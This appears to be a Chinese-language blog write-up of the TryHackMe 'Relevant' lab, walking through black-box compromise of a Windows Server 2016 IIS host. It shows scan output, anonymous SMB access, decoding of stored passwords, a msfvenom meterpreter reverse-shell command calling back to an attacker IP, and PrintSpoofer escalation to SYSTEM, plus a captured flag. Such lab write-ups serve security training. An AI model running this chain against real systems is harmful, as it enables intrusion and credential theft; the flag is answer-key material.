【THM】Relevant-Practice

客户请求工程师对所提供的虚拟环境进行评估。客户要求提供有关评估的最少信息,希望从恶意行为者的角度进行参与(黑盒渗透测试)。客户要求您确保两个标志(未提供位置)作为利用证据:

  • User.txt
  • Root.txt

使用 nmap 枚举端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Nmap scan report for 10.10.102.75
Host is up (0.19s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: RELEVANT
| NetBIOS_Domain_Name: RELEVANT
| NetBIOS_Computer_Name: RELEVANT
| DNS_Domain_Name: Relevant
| DNS_Computer_Name: Relevant
| Product_Version: 10.0.14393
|_ System_Time: 2024-02-29T06:52:09+00:00
|_ssl-date: 2024-02-29T06:52:50+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2024-02-28T06:42:21
|_Not valid after: 2024-08-29T06:42:21
49663/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
| Computer name: Relevant
| NetBIOS computer name: RELEVANT\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2024-02-28T22:52:12-08:00
| smb2-time:
| date: 2024-02-29T06:52:10
|_ start_date: 2024-02-29T06:42:37
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h35m59s, deviation: 3h34m41s, median: -1s

由上图可知靶机的80、49663端口都开启了HTTP服务器(IIS)

使用 gobuster 进行目录枚举

尝试对80端口进行目录扫描–无结果,尝试对49663端口进行目录扫描

1
2
3
4
5
6
gobuster dir -u http://10.10.102.75:49663 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,301' --status-codes-blacklist '' --no-error -t 50
#排除错误结果:--no-error
#线程数设置为50:-t 50
#只显示状态为200和301的目录:-s '200,301'
#将黑名单状态码设置为空(默认的黑名单状态码为404):--status-codes-blacklist ''
#gobuster有时会提示不能同时设置白名单状态码和黑名单状态码,所以此处选择修改默认的黑名单状态码(404)并将其设置为空。

发现一个隐藏目录:/nt4wrksv

image-20240229152502914

smbclient

1
2
3
smbclient -L \\10.10.102.75		#默认无密码 直接按回车键尝试
#或者输入 smbclient -L \\\\ $IP\\
#或者输入 enum4linux -S $IP //IP为靶机IP

image-20240229145811213

1
2
3
smbclient //10.10.220.91/nt4wrksv #默认无密码,询问登录密码时直接按回车键
#或者 smbclient -L //10.10.227.167 -U nt4wrksv
#或者输入 smbclient -L \\\\10.10.227.167\\nt4wrksv

image-20240229212637048

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~]
└─# cat passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
┌──(root㉿kali)-[~]
└─# echo Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
Bob - !P@$$W0rD!123
┌──(root㉿kali)-[~]
└─# echo QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk | base64 -d
Bill - Juw4nnaM4n420696969!$$$

构造msfvenom命令以便生成一个反向shell文件,然后再重新登录刚才所访问的SMB共享,通过SMB服务上传反向shell文件(put shell.aspx)到目标靶机。

1
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.11.63.201 LPORT=1234 -f aspx -o shell.aspx

具有 ASPX 文件扩展名的文件是为 Microsoft 的 ASP.NET 框架设计的 Active Server Page Extended 文件。

ASPX 文件由 Web 服务器生成,包含脚本和源代码,有助于与浏览器沟通如何打开和显示网页。

image-20240229222216203

1
2
3
4
5
curl http://10.10.220.91:49663/nt4wrksv/shell.aspx  #在本地浏览器的url中直接访问地址也可

#Windows命令行-- 按文件名查找相关路径 dir /s /b c:\ | find "user.txt"
#使用/b带有 DIR 命令的开关会去除所有多余的信息,仅显示当前目录中的文件夹和文件的名称,而不显示文件大小和时间戳等属性。
#或者直接输入 dir \user.txt /s
1
2
3
4
5
6
7
8
9
10
meterpreter > ls
Listing: c:\Users\Bob\Desktop
=============================

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 35 fil 2020-07-25 11:24:43 -0400 user.txt

meterpreter > cat user.txt
THM{fdk4ka34vk346ksxfr21tg789ktf45}

权限提升

我在 meterpreter 中输入命令 getprivs 。此命令检查远程 PC 中存在的权限。

image-20240229224321695

我们可以看到 SeImpersonatePrivilege 已启用。在 Windows 中,如果非管理员用户启用了 SeImpersonatePrivilege ,他可以使用此处提供的 PrintSpoofer 等工具来提升其权限

1
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe

将 exe 文件上传到网络共享。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
meterpreter > shell
Process 1556 created.
Channel 2 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

c:\Users\Bob\Desktop>cd c:/inetpub/wwwroot/nt4wrksv
cd c:/inetpub/wwwroot/nt4wrksv

c:\inetpub\wwwroot\nt4wrksv>dir
dir
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5

Directory of c:\inetpub\wwwroot\nt4wrksv

02/29/2024 06:44 AM <DIR> .
02/29/2024 06:44 AM <DIR> ..
07/25/2020 07:15 AM 98 passwords.txt
02/29/2024 06:44 AM 27,136 PrintSpoofer64.exe
02/29/2024 06:34 AM 1,014,999 shell.aspx
3 File(s) 1,042,233 bytes
2 Dir(s) 21,043,695,616 bytes free

c:\inetpub\wwwroot\nt4wrksv>PrintSpoofer64.exe -i -c powershell.exe
PrintSpoofer64.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

成功提权

1
2
3
PS C:\Windows\system32> whoami
whoami
nt authority\system
1
cat C:\users\administrator\desktop\root.txt